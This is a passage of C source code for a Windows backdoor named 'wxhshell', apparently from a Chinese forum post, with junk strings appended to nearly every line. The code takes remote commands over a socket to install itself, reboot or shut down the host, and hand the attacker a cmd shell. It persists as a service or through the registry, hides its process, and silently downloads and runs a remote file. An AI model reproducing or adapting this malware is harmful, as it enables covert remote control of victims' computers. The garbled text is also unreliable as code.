  } );,#H`'  
  else { fcV/co_S6  
[5m;L5  
    switch(cmd[0]) { ?*4]LuK6  
  LO` (V  
  // 帮助 ef,6>xv  
  case '?': { x/9`2X`~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); - MBK/  
    break; ~zRW*pd  
  } ?BWWb   
  // 安装 2\s-4H| q  
  case 'i': { pw(`+x]  
    if(Install()) kWoy%?|RRa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )hQ`l d7B  
    else ]%mg(&p4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WP}__1!%u  
    break; 4Y-9W2s  
    } o +aB[+  
  // 卸载 qrt+{5/t  
  case 'r': { H;$w^Tr  
    if(Uninstall()) ,,{Uz)>'W6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :uI}"Bp  
    else N%Lh_2EzqV  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F htf4  
    break; 9_TZ;e  
    } O#k?c }  
  // 显示 wxhshell 所在路径 e7hPIG  
  case 'p': { <BO|.(ys  
    char svExeFile[MAX_PATH]; ;dB=/U>3U  
    strcpy(svExeFile,"\n\r"); - iJ[9O  
      strcat(svExeFile,ExeFile); xQmk2S` y  
        send(wsh,svExeFile,strlen(svExeFile),0); Kvk;D ]$  
    break; if `/LJsa  
    } :$9 4y{  
  // 重启 }4bwLO  
  case 'b': { Qs,LK(1  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yLY2_p- X  
    if(Boot(REBOOT)) G1P m!CM=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sAnH\AFm  
    else { 3mBr nq]j>  
    closesocket(wsh); q=R=z$yr  
    ExitThread(0); :b.#h7Qt<  
    } J@R+t6$3O  
    break; SSH/q/  
    } 8:0l5cZE  
  // 关机 }>h?W1  
  case 'd': { >i=O =w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %K%8 ~B  
    if(Boot(SHUTDOWN)) [[bMYD1eO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (jQL?  
    else { *Qyw _Q  
    closesocket(wsh); U+'?#" J8(  
    ExitThread(0); Z NuyGo;  
    } dXdU4YJ X  
    break; sN;U,{  
    } yJKezIL\z  
  // 获取shell Q)Ppx7)  
  case 's': { b$B5sKQ  
    CmdShell(wsh); \x|(`;{  
    closesocket(wsh); 2 3>lE}^G  
    ExitThread(0); p R~PB  
    break; t[^}/ S  
  } DVCc^5#  
  // 退出  _@d.wfM  
  case 'x': { qkR.{?x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); T!/$ @]%\7  
    CloseIt(wsh); 1`h`-dqr#  
    break; n JLr]`_  
    } AWf zMJ;VS  
  // 离开 Fmsg*s7w  
  case 'q': { ^ ]`<nO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6?hv ,^  
    closesocket(wsh); c| p eRO.  
    WSACleanup(); IOfo]p-  
    exit(1); H]}- U8}sp  
    break; dnN"  
        }  -EITz  
  } ~){*XJw6  
  } Oj<2_u  
f\|33)k  
  // 提示信息 q A G0t{K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); VS 8|lgQ  
} Q}]Q0'X8  
  } wV U(Du  
'g ,Oi1|~  
  return; 9l(e:_`_  
} g]d@X_ &D  
E!ZDqq  
// shell模块句柄 iRPd=)  
int CmdShell(SOCKET sock) hbN*_[  
{ hgsE"H<V  
STARTUPINFO si; OlV>zam  
ZeroMemory(&si,sizeof(si)); } |sP;Rpu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <Oy%  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F\>`j   
PROCESS_INFORMATION ProcessInfo; f^0vkWI2  
char cmdline[]="cmd"; /i$&89yod  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Tm` QZh3  
  return 0; &_!BMzp4  
} Lmj?V1% V  
y.mojx%?a  
// 自身启动模式 W.H_G.C%  
int StartFromService(void) EmY8AN(*  
{ VsUEp_I  
typedef struct  %_A1WC  
{ "7gS*v,r  
  DWORD ExitStatus; GK\'m@k  
  DWORD PebBaseAddress; V1j&>-]]9*  
  DWORD AffinityMask; U:8^>_  
  DWORD BasePriority; a}e7Q<cGj  
  ULONG UniqueProcessId; !y*V;J  
  ULONG InheritedFromUniqueProcessId; V ;>{-p  
}   PROCESS_BASIC_INFORMATION; 12cfqIo9  
%yptML9  
PROCNTQSIP NtQueryInformationProcess; Gb~q:&IUr  
yhUc]6`V.H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; u}#rS%SF*  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gR1X@j$_  
(U-p&q>z  
  HANDLE             hProcess; [IW@ mn>  
  PROCESS_BASIC_INFORMATION pbi; 4 (Y5n?/  
>) 5rOU  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); J-u,6c  
  if(NULL == hInst ) return 0; U7:~@eYy  
HqN|CwGgJ:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?k"KZxpT  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); i*2z7MY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); vqL{~tR  
Jr1^qY`0+  
  if (!NtQueryInformationProcess) return 0; +ES.O]?>  
zBc7bbK  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); =OjzBiHR  
  if(!hProcess) return 0; Ke,-8e#Q  
0A}'.LI  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +>I4@1qC-|  
5[*MT%ms  
  CloseHandle(hProcess); _X@:- _  
;1eu8N8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0<>iMrD  
if(hProcess==NULL) return 0; e HOm^.gd  
R>Zn$%j\  
HMODULE hMod; $p9XXZ"*  
char procName[255]; Xe+Hez,  
unsigned long cbNeeded; =z@'vu$Fh  
g%\e80~1(  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 'TbA^U[  
 sRoZvp 5  
  CloseHandle(hProcess); %X.Q\T  
SQt$-<>4\  
if(strstr(procName,"services")) return 1; // 以服务启动 bNL E=#ro  
Rx'7tff%I  
  return 0; // 注册表启动 `|PxEif+J  
} ? X:RrZ:/  
/>n0&~k[h  
// 主模块 se)I2T{J  
int StartWxhshell(LPSTR lpCmdLine) QZwRg&d<o  
{ ob*2V! "  
  SOCKET wsl; tv;3~Y0i  
BOOL val=TRUE; 7l:H~"9r  
  int port=0; x K_$^c.  
  struct sockaddr_in door; AV8TP-Ls+  
TbX ZU$[c  
  if(wscfg.ws_autoins) Install(); GZ4{<QG  
cb UVeh7Q  
port=atoi(lpCmdLine); 5-&P4  
Q!|71{5U  
if(port<=0) port=wscfg.ws_port; 7,O^c +  
L9AfLw5&X  
  WSADATA data; zR5D)`Ph   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Wh4lz~D\@  
]_-$  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LpF6e9V\Wp  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |]B]0J#_  
  door.sin_family = AF_INET; |%M%j'9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0\ gE^=o[  
  door.sin_port = htons(port); [Zua7&(5  
pcEB-boI9  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y< M}'t  
closesocket(wsl); as\V, {<  
return 1; [hiOFmMJZ-  
} g6*}& .&  
mV'd9(s?  
  if(listen(wsl,2) == INVALID_SOCKET) { L ~;_R*Th  
closesocket(wsl); +nqOP3  
return 1; p4el9O&-tV  
} :)MZgW  
  Wxhshell(wsl); %_3{Db`R>  
  WSACleanup(); a<HM|dcst  
4mPg; n  
return 0; g1}RA@9  
Z> &PM06  
} :r~?Z6gK  
{<|0M%v  
// 以NT服务方式启动 ).vdKNzw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D/giM#"  
{ ,Wdyg8&.  
DWORD   status = 0; )^r4|WYyt  
  DWORD   specificError = 0xfffffff; D)!k  
b>waxQxjS  
  serviceStatus.dwServiceType     = SERVICE_WIN32; #}vcffgZ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )_&<u\cm L  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D #A9  
  serviceStatus.dwWin32ExitCode     = 0; T8RQM1D_s  
  serviceStatus.dwServiceSpecificExitCode = 0; 9^}GUJy?  
  serviceStatus.dwCheckPoint       = 0; GEvif4  
  serviceStatus.dwWaitHint       = 0; +^"|FtKhE  
3 Zbvf^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]IoS-)$Z/  
  if (hServiceStatusHandle==0) return; .lE"N1  
QP qa\87  
status = GetLastError(); XFX:) l#o  
  if (status!=NO_ERROR) \^YJs?  
{ swJwy~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; jbg@CA*=C  
    serviceStatus.dwCheckPoint       = 0; Oi{jzP  
    serviceStatus.dwWaitHint       = 0; $U6)km4  
    serviceStatus.dwWin32ExitCode     = status; |E}N8 \Gr  
    serviceStatus.dwServiceSpecificExitCode = specificError; N,;Bl&EU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @ojn< 7W  
    return; t[DXG2&  
  } )X7ZX#ttH  
mM95BUB  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1 8&^k|  
  serviceStatus.dwCheckPoint       = 0; S]9xqiJW  
  serviceStatus.dwWaitHint       = 0; &-{4JSII  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <ZnAPh  
} t<`BaU  
OgzPX^q/=  
// 处理NT服务事件,比如:启动、停止 DG& kY+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) MqNp*n2  
{ i .'f<z$<  
switch(fdwControl) >=B8PK+<  
{ $w65/  
case SERVICE_CONTROL_STOP: !!P)r1=g  
  serviceStatus.dwWin32ExitCode = 0; . Bv;Zv  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %]:u^\7  
  serviceStatus.dwCheckPoint   = 0; XCk \#(VSE  
  serviceStatus.dwWaitHint     = 0; >uI|S  
  { rK`*v*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); s^E%Uk m  
  } |D<~a(0  
  return; `4$" mO>+  
case SERVICE_CONTROL_PAUSE: 0lW}l9}'-  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; J \G8 g,@  
  break; vZk+NS<  
case SERVICE_CONTROL_CONTINUE: V-)q&cbW]q  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 4sG^ bZ,  
  break; @90)  
case SERVICE_CONTROL_INTERROGATE: 2.CI^.5&  
  break; \.}* s]6  
}; 7gv kd+-*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7Xw #  
} /#.6IV(  
<<[`;"CF  
// 标准应用程序主函数 0OlB;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !d^5mati)T  
{ ) |*HkdF`  
BE:GB?XBH  
// 获取操作系统版本 )5p0fw  
OsIsNt=GetOsVer(); >/-<,,<\C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @y)fR.!)1$  
6 Rg{^ERf  
  // 从命令行安装 A LKU  
  if(strpbrk(lpCmdLine,"iI")) Install(); `a  
N^:)U"9*e  
  // 下载执行文件 \V}?K0#bt  
if(wscfg.ws_downexe) { bT0CQ_g21  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Fvl_5l  
  WinExec(wscfg.ws_filenam,SW_HIDE); V"k*PLt  
} P>Pw;[b>O  
7H9&\ur9+  
if(!OsIsNt) { He~) i)co  
// 如果时win9x,隐藏进程并且设置为注册表启动 ^~( @QfY  
HideProc(); yB,$4:C  
StartWxhshell(lpCmdLine); \za 0?b  
} ?/5WM%  
else c?>@P  
  if(StartFromService()) ):kDWc  
  // 以服务方式启动 ~X)Aw 3}F  
  StartServiceCtrlDispatcher(DispatchTable); 0%#ZupN  
else ~*ST fyFw  
  // 普通方式启动 Y{6y.F*Q#  
  StartWxhshell(lpCmdLine); o@XhL9  
MZl6 J  
return 0; Am{Vtl)i  
}
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只看该作者 1 发表于: 2006-10-10
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